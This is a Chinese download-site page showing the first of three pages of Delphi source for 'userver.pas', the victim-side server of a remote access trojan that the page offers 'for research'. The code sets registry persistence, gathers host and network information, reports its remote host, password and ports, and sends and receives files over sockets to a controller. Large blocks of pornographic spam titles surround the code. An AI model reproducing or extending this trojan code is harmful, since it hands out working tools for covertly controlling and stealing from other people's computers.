亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? userver.pas

?? 木馬源程序,供大家研究
?? PAS
?? 第 1 頁 / 共 3 頁
字號:
{南域劍盟    www.98exe.com   上興QQ:51992
 聲明:程序由南域劍盟98exe.com成員網上搜集,不承擔技術及版權問題}

{隨便加了點注釋,文件傳輸不詳細注了,大家網上找相關資料看}
unit UServer;

interface
uses
  Windows, Messages, Winsock, Wininet, untCMDList, ShellApi, psApi, TLHelp32,
    untHTTPDownload,SysUtils2,URsConst;

const
  version = '0.50B';
  LF = #10;
  CR = #13;
  EOL = CR + LF;

  { host          : string = '127.0.0.1';
   password      : string = 'shj';
   port          : integer = 80;
   }
  {文件屬性常量}
  faReadOnly = $00000001; //只讀文件
  faHidden = $00000002; //隱藏文件
  faSysFile = $00000004; // 系統文件
  faVolumeID = $00000008; // 卷標文件
  faDirectory = $00000010; // 目錄
  faArchive = $00000020; //歸檔文件
  faAnyFile = $0000003F; // 任意文件


  ERROR_DISCONNECT      = 01;    // If server (remote connection disconnects)
  ERROR_FAIL            = 02;    // If server or client fails. Socket failures.
  ERROR_CONNECT         = 03;    // If client cant connect to server or reverse.
  ERROR_LISTEN          = 04;    // If server cant listen on choosen port.
  ERROR_ACCEPT          = 05;    // If server cant accept socket.
  ERROR_BREAK           = 06;    // If breaking from something.
  ERROR_LOSTCONNECTION  = 07;    // If server dies of some reason.
  ERROR_BIND            = 08;

  SUCCESS_CONNECT       = 09;    // Connection established without problems.
  SUCCESS_FINISHED      = 10;    // Finished sending file without problems.
  SUCCESS_ACCEPT        = 11;    // Accepted remote connection fine.


type
  TFileName = type string; //文件
  TSearchRec = record
    Time: Integer;
    Size: Integer;
    Attr: Integer;
    Name: TFileName;
    ExcludeAttr: Integer;
    FindHandle: THandle;
    FindData: TWin32FindData;
  end;

  LongRec = packed record
    case Integer of
      0: (Lo, Hi: Word);
      1: (Words: array[0..1] of Word);
      2: (Bytes: array[0..3] of Byte);
  end;

  TInfo = record
    Name: string;
    Host: string;
    Port: Integer;
    Size: Integer;
  end;
  PInfo = ^TInfo;

  RemoteSock = Record
    Sock: TSocket;
    Count: Integer;
  End;
  rSock = ^RemoteSock;

  TServer = class(TObject)
  private
    Sock: TSocket;
    Addr: TSockAddrIn;
    WSA: TWSAData;

    TempSock    :TSocket;                 //srv
    Remote      :TSockAddr;               //srv
    Len         :Integer;                 //srv
    BlockList   :Array[0..99] Of String;  //srv

  public
    SocketList  :Array[0..99] Of TSocket; //srv
    Port        :Integer;                 //srv
    Count       :Integer;                 //srv
    ReturnError :Integer;                 //srv
    Function Listen: Integer;
    Function AcceptNew(SSock: TSocket): Integer;            //srv
    Function GetFreeHandle(VAR Int: Integer): Integer;      //srv
    Function ReCount: Integer;
    Function Disconnect(dAddress, dPort: String): Boolean;  //srv
    Procedure ResolveStatus(Int: Integer);

    procedure Connect;
    procedure SendData(Text: string);

    function GetNet: string;
  end;

var
  Serv: TServer;
  PieZhi:TRedCtrl;
  ConFile:string;
  Info: TInfo;
  Port: Integer;
  Close: Boolean;
  LastDir: string;
  Host: string;
  Password: string;


  HandleList: Array[0..99] Of THandle;
  rSocket: RemoteSock;
  //判斷網絡是否鏈接--------------------------------------------
function InternetGetConnectedStateEx(
  lpdwFlags: LPDWORD;
  lpszConnectionName: LPTSTR;
  dwNameLen: DWORD;
  dwReserved: DWORD): BOOL; stdcall;
external 'wininet.dll' name 'InternetGetConnectedStateEx';

procedure miniratMain;stdcall;

implementation

procedure SetRegValue(ROOT: hKey; Path, Value, Str: string);
var
  Key: hKey;
  Size: Cardinal;
begin
  RegOpenKey(ROOT, pChar(Path), Key); //打開給定鍵
  Size := 2048;
  RegSetValueEx(Key, pChar(Value), 0, REG_SZ, @Str[1], Size); //寫注冊表
  RegCloseKey(Key); //釋放
end;

procedure SetDelValue(ROOT: hKey; Path, Value: string);
var
  Key: hKey;
  Size: Cardinal;
begin
  RegOpenKey(ROOT, pChar(Path), Key);
  Size := 2048;
  RegDeleteValue(Key, pChar(Value));
  RegCloseKey(Key);
end;
//寫入注冊表-----------------------------------------------
procedure Uninstall;
begin
  SetDelValue(HKEY_LOCAL_MACHINE,
    'Software\Microsoft\Windows\CurrentVersion\Run', dRegName);
  SetDelValue(HKEY_CURRENT_USER,
    'Software\Microsoft\Windows\CurrentVersion\Run', dRegName);
  SetRegValue(HKEY_LOCAL_MACHINE,
    'Software\Microsoft NT\Windows\CurrentVersion\Winlogon', 'Shell',
    'Explorer.exe');
  ExitProcess(0);
end;

function Enumeration(dRes: PNetResource; dI: Integer): string;
var
  dHandle: THandle;
  K: DWord;
  BufferSize: DWord;
  Buffer: array[0..1023] of TNetResource;
  I: Word;
  Temp: string;
begin
  WNetOpenEnum(2, 0, 0, dRes, dHandle);

  K := 1024; //  大小為1024
  BufferSize := SizeOf(Buffer); //獲得盤

  while (WNetEnumResource(dHandle, K, @Buffer, BufferSize) = 0) do //獲得資源
    for I := 0 to K - 1 do
    begin
      if (Buffer[I].dwDisplayType = RESOURCEDISPLAYTYPE_SERVER) then
        //顯示類型為服務器(工作組)
      begin
        Temp := IntToStr(C_INFONETWORK) + ' ' + pChar(Buffer[I].lpRemoteName) +
          ' "' + pChar(Buffer[I].lpComment) + '"'#10;
        if (Pos(Temp, Result) = 0) then
          Result := Result + Temp;
      end;
      if (Buffer[I].dwUsage > 0) then
      begin
        Temp := Enumeration(@Buffer[I], 1);
        if (Pos(Temp, Result) = 0) then
          Result := Result + Temp;
      end;
    end;

  WNetCloseEnum(dHandle); // 獲取所有目錄
end;

function GetNetworkInfo: string;
begin
  Result := IntToStr(C_INFONETWORK) + ' Domains Comments'#10 +
    Enumeration(nil, 0);
end;

//尾部加入資源,版本,地址,密碼,端口------------------
function GetServerInfo: string;
begin
  Result := IntToStr(C_INFOSERVER) + ' Version ' + Version + #10 +
    IntToStr(C_INFOSERVER) + ' RmtAddr ' + PieZhi.dDnsHost + #10 +
    IntToStr(C_INFOSERVER) + ' Password ' + PieZhi.dPass + #10 +
    IntToStr(C_INFOSERVER) + ' SrvPort ' + PieZhi.dLocalPort + #10 +
    IntToStr(C_INFOSERVER) + ' RmtPort ' + PieZhi.dRemotePort + #10;
end;

//記錄-----
function GetInformation: string;
var
  HostName: array[0..069] of Char;
  Sysdir: array[0..255] of Char;
  MemoryStatus: TMemoryStatus;
  Total: Integer;
begin
  GetHostName(HostName, SizeOf(HostName));
  GetSystemDirectory(Sysdir, 256);

  MemoryStatus.dwLength := SizeOf(TMemoryStatus);
  GlobalMemoryStatus(MemoryStatus);

  Total := GetTickCount() div 1000;

  Result := IntToStr(C_INFOSYSTEM) + ' Hostname ' + Hostname + #10 +
    IntToStr(C_INFOSYSTEM) + ' System ' + string(SysDir) + #10 +
    IntToStr(C_INFOSYSTEM) + ' Memory(Total) ' +
      IntToStr(MemoryStatus.dwTotalPhys div 1048576) + ' MB Total'#10 +
    IntToStr(C_INFOSYSTEM) + ' Memory(Free) ' + IntToStr(MemoryStatus.dwAvailPhys
      div 1048576) + ' MB Free'#10 +
    IntToStr(C_INFOSYSTEM) + ' Memory(Used) ' +
      IntToStr(MemoryStatus.dwMemoryLoad) + '% In Use'#10 +
    IntToStr(C_INFOSYSTEM) + ' Uptime ' + IntToStr(Total div 86400) + ' days ' +
    IntToStr((Total mod 86400) div 3600) + ' hours ' +
    IntToStr(((Total mod 86400) mod 3600) div 60) + ' min ' +
    IntToStr((((Total mod 86400) mod 3600) mod 60) div 1) + ' sec'#10;
end;

//檢查本機網絡狀態---------------------
function TServer.GetNet: string;
var
  W: DWord;
  Name: array[0..128] of Char;
begin
  FillChar(Name, SizeOf(Name), 0);
  InternetGetConnectedStateEx(@W, Name, 128, 0); //檢查連接internet狀態
  if (W and INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN then
    Result := 'LAN (' + string(Name) + ')'
  else
    Result := 'Dial-Up (' + string(Name) + ')';
end;

// Send Data
function SendData(Sock: TSocket; Text: string; var sByte: Cardinal): Integer;
var
  Len: Integer;
begin
  Result := Length(Text);
  Len := Send(Sock, Text[1], Length(Text), 0);
  Inc(sByte, Len);
end;

//下面基本都是功能了,文件的操作等
procedure StripOutCmd(Text: string; var Cmd: string);
begin Cmd := Copy(Text, 1, Pos(' ', Text) - 1);
end;

procedure StripOutParam(Text: string; var Param: array of string);
var
  I: Word;
begin
  if Text = '' then Exit;
  FillChar(Param, SizeOf(Param), 0);
  Delete(Text, 1, Pos(' ', Text));

  if Text = '' then Exit;
  if (Text[Length(Text)] <> ' ') then Text := Text + ' ';

  I := 0;
  while (Pos(' ', Text) > 0) do
  begin
    Param[I] := Copy(Text, 1, Pos(' ', Text) - 1);
    Inc(I);
    Delete(Text, 1, Pos(' ', Text));
    if (I >= 100) then Break;
  end;
end;

//   傳遞文件
function RecvFile(P: Pointer): DWord; STDCALL;
var
  Sock: TSocket;
  Addr: TSockAddrIn;
  WSA: TWSAData;

  BytesRead: Cardinal;

  F: file;
  Buf: array[0..8192] of Char;
  dErr: Integer;

  Name: string;
  Host: string;
  Port: Integer;
  Size: Integer;

  T: string;
begin
  Name := PInfo(P)^.Name;
  Host := PInfo(P)^.Host;
  Port := PInfo(P)^.Port;
  Size := PInfo(P)^.Size;

  WSAStartUp($0101, WSA);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := inet_Addr(pchar(Host));

  if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;

  {$I-}
  T := 'ok';
  AssignFile(F, Name);
  Rewrite(F, 1);
  repeat
    FillChar(Buf, SizeOf(Buf), 0);
    dErr := Recv(Sock, Buf, SizeOf(Buf), 0);
    if (dErr > 0) then
      BlockWrite(F, Buf, dErr)
    else
      Break;
    Dec(Size, dErr);
    dErr := Send(Sock, T[1], Length(T), 0);
  until Size <= 0;
  CloseFile(F);
  {$I+}

  WSACleanUp();
end;
//定時檢測
function SendFile(P: Pointer): DWord; STDCALL;
var
  Sock: TSocket;
  Addr: TSockAddrIn;
  WSA: TWSAData;

  BytesRead: Cardinal;

  F: file;
  Buf: array[0..8192] of Char;
  dErr: Integer;

  Name: string;
  Host: string;
  Port: Integer;

  T: string;
begin
  Name := PInfo(P)^.Name;
  Host := PInfo(P)^.Host;
  Port := PInfo(P)^.Port;

  WSAStartUp($0101, WSA);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := inet_Addr(pchar(Host));

  if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;

  {$I-}
  T := 'ok';
  AssignFile(F, Name);
  Reset(F, 1);
  repeat
    BlockRead(F, Buf, SizeOf(Buf), BytesRead);
    if (BytesRead = 0) then Break;

    Send(Sock, Buf[0], SizeOf(Buf), 0);
    FillChar(Buf, SizeOf(Buf), 0);
    Recv(Sock, Buf, SizeOf(Buf), 0);
  until BytesRead = 0;
  CloseFile(F);
  {$I+}

  WSACleanUp();
end;

//取回的文件大小 ------------------------------
function GetFileSize(FileName: string): Int64;
var
  H: THandle;
  Data: TWIN32FindData;
begin
  Result := -1;
  H := FindFirstFile(pChar(FileName), Data);
  if (H <> INVALID_HANDLE_VALUE) then
  begin
    Windows.FindClose(H);
    Result := Int64(Data.nFileSizeHigh) shl 32 + Data.nFileSizeLow;
  end;
end;

//將IP解釋成主機名
function RemoteAddr(Sock: TSocket): TSockAddrIn;
var
  W: TWSAData;
  S: TSockAddrIn;
  I: Integer;
begin

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
全部av―极品视觉盛宴亚洲| 天堂成人国产精品一区| 亚洲在线观看免费视频| 免费成人性网站| av午夜一区麻豆| 8v天堂国产在线一区二区| 久久久久99精品国产片| 午夜精品影院在线观看| eeuss鲁片一区二区三区| 日韩精品一区二区三区蜜臀| 亚洲一区二区视频在线| 成人免费视频视频| 精品国产91久久久久久久妲己 | 国产美女精品一区二区三区| 日本精品免费观看高清观看| 国产欧美日韩不卡| 奇米在线7777在线精品| 欧美日韩一区三区| 一区二区三区色| 成人精品免费视频| 国产亚洲欧洲997久久综合| 蜜桃av噜噜一区| 欧美美女黄视频| 依依成人综合视频| 99久久久国产精品| 国产精品成人免费| 成人听书哪个软件好| 久久嫩草精品久久久精品一| 日本系列欧美系列| 欧美一区二区三区在线视频| 亚洲图片欧美综合| 欧美亚洲日本国产| 亚洲风情在线资源站| 欧美色大人视频| 亚洲国产精品久久人人爱| 欧美性大战久久久| 亚洲国产精品欧美一二99| 欧美性一级生活| 婷婷中文字幕综合| 91精品国产综合久久婷婷香蕉| 偷拍自拍另类欧美| 日韩一区二区免费视频| 久国产精品韩国三级视频| 精品国产1区二区| 国产一区高清在线| 国产精品萝li| 一道本成人在线| 亚洲一区二区三区在线| 在线不卡a资源高清| 麻豆国产91在线播放| 精品国产百合女同互慰| 成人免费视频一区| 亚洲一区二区视频在线| 日韩欧美美女一区二区三区| 国精产品一区一区三区mba桃花| 久久精品人人做人人爽97| 99视频一区二区三区| 一区二区久久久久久| 欧美一区在线视频| 成人一区二区三区中文字幕| 中文字幕色av一区二区三区| 欧美性一二三区| 国内一区二区视频| 亚洲人精品午夜| 在线成人免费视频| 懂色av一区二区夜夜嗨| 亚洲午夜在线电影| 国产亚洲人成网站| 欧美人动与zoxxxx乱| 久草在线在线精品观看| 亚洲欧美区自拍先锋| 欧美一区二区视频在线观看2020| 国产成人av电影在线播放| 亚洲一区二区三区三| 亚洲精品在线观| 欧美性生活影院| 国产精品99久久久| 视频一区二区三区在线| 欧美国产视频在线| 91超碰这里只有精品国产| 成人在线视频一区二区| 视频一区二区三区在线| ㊣最新国产の精品bt伙计久久| 91精品国产全国免费观看| 91啪亚洲精品| 国内不卡的二区三区中文字幕 | 麻豆精品视频在线观看视频| 国产精品九色蝌蚪自拍| 日韩三级免费观看| 日本道色综合久久| 福利视频网站一区二区三区| 亚洲成人午夜影院| 亚洲色图20p| 国产亚洲视频系列| 精品国产一区a| 欧美精品在线观看播放| 成人国产免费视频| 黄一区二区三区| 日韩经典中文字幕一区| 亚洲小少妇裸体bbw| 国产精品久久久久久久久免费相片| 日韩一区二区免费电影| 欧美性大战久久| 在线观看www91| 99精品1区2区| av男人天堂一区| 高清不卡一二三区| 国产不卡在线一区| 国产v综合v亚洲欧| 国产精品自拍网站| 国产一区二区中文字幕| 国产在线精品视频| 黄色小说综合网站| 国产精品白丝jk黑袜喷水| 国产综合色在线| 国产精品资源在线| 国产剧情一区二区三区| 国产制服丝袜一区| 国产在线国偷精品免费看| 久久国产婷婷国产香蕉| 麻豆国产精品777777在线| 久久99精品国产麻豆婷婷| 乱一区二区av| 久久精品国产久精国产爱| 久久精品国产成人一区二区三区 | 波多野结衣中文字幕一区二区三区| 国产美女在线精品| 成人天堂资源www在线| 成人国产一区二区三区精品| 99久久伊人久久99| 一本大道久久a久久精二百| 在线观看亚洲专区| 7777精品伊人久久久大香线蕉经典版下载 | 91在线观看污| 精品视频色一区| 91精品在线观看入口| 欧美一区二区三区成人| 精品处破学生在线二十三| 中文字幕国产一区二区| 亚洲欧美日韩国产另类专区| 午夜不卡av免费| 国产一区二区不卡| 欧美日韩在线一区二区| 欧美成人精品二区三区99精品| 国产欧美一区二区三区网站| 亚洲欧美日韩一区二区| 日韩精品视频网站| 国产1区2区3区精品美女| 91久久精品一区二区三| 欧美v日韩v国产v| 综合色中文字幕| 日本欧美一区二区三区| 成人精品鲁一区一区二区| 欧美伦理电影网| 中文字幕乱码久久午夜不卡| 亚洲成av人片| 成人a级免费电影| 欧美一区中文字幕| 亚洲人成网站色在线观看| 日韩国产一区二| 国产91丝袜在线播放| 黄一区二区三区| 色综合久久88色综合天天6| 91精品国产丝袜白色高跟鞋| 国产精品你懂的在线欣赏| 亚洲午夜精品在线| 国内欧美视频一区二区 | 国产色婷婷亚洲99精品小说| 久久久久久久久久久电影| 亚洲国产日韩精品| 日本不卡123| 精品在线播放午夜| 91精品福利视频| 欧美sm极限捆绑bd| 中文字幕一区二区三区精华液| 美国欧美日韩国产在线播放| 一本久道中文字幕精品亚洲嫩| 日韩欧美国产wwwww| 亚洲成av人影院在线观看网| 国产精品123区| 欧美做爰猛烈大尺度电影无法无天| 制服丝袜中文字幕亚洲| 亚洲在线视频网站| 成人在线视频一区| 精品欧美久久久| 日本欧美肥老太交大片| 色琪琪一区二区三区亚洲区| 精品播放一区二区| 亚洲永久免费视频| 91亚洲精品久久久蜜桃网站 | 五月婷婷综合网| 91福利在线播放| 国产蜜臀97一区二区三区| 日韩精品午夜视频| 色八戒一区二区三区| 亚洲免费在线视频一区 二区| 久久99热国产| 欧美一区二区人人喊爽| 亚洲与欧洲av电影| 96av麻豆蜜桃一区二区|